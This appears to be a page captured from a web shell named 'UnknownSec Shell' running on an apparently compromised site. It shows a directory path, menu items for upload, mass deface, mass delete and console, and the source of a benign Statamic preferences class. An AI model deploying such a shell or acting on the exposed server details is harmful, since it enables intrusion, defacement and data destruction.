shell bypass 403
UnknownSec Shell
:
/
home
/
forge
/
lolasweb.brannanatkinson.com
/
vendor
/
statamic
/
cms
/
src
/
Preferences
/ [
drwxrwxr-x
]
upload
mass deface
mass delete
console
info server
name :
DefaultPreferences.php
<?php namespace Statamic\Preferences; use Statamic\Events\DefaultPreferencesSaved; use Statamic\Facades\File; use Statamic\Facades\YAML; class DefaultPreferences { use HasPreferencesInProperty; protected $path; /** * Instantiate default preferences instance. */ public function __construct() { $this->path = resource_path('preferences.yaml'); $this->preferences = YAML::file($this->path)->parse(); } /** * Get all default preferences. * * @return array */ public function all() { return $this->getPreferences(); } /** * Get preference (dot notation in key supported). * * @param string $key * @return mixed */ public function get($key) { return $this->getPreference($key); } /** * Remove preference (dot notation in key supported). * * @param string $key * @return $this */ public function remove($key) { return $this->removePreference($key); } /** * Save preferences to file. * * @param array $preferences * @return array */ public function save() { File::put($this->path, YAML::dump($this->preferences)); DefaultPreferencesSaved::dispatch(); return true; } /** * Set all the preferences. * * @param string|array $key Either an array to set all preferences at once, or a string key to set a single preference. * @param mixed $value If passing a string key, the value to set. * @return $this */ public function set($key, $value = null) { return func_num_args() === 2 ? $this->setPreference($key, $value) : $this->setPreferences($key); } /** * Merge preferences. * * @param array $preferences * @return $this */ public function merge($preferences) { return $this->mergePreferences($preferences); } }
© 2026 UnknownSec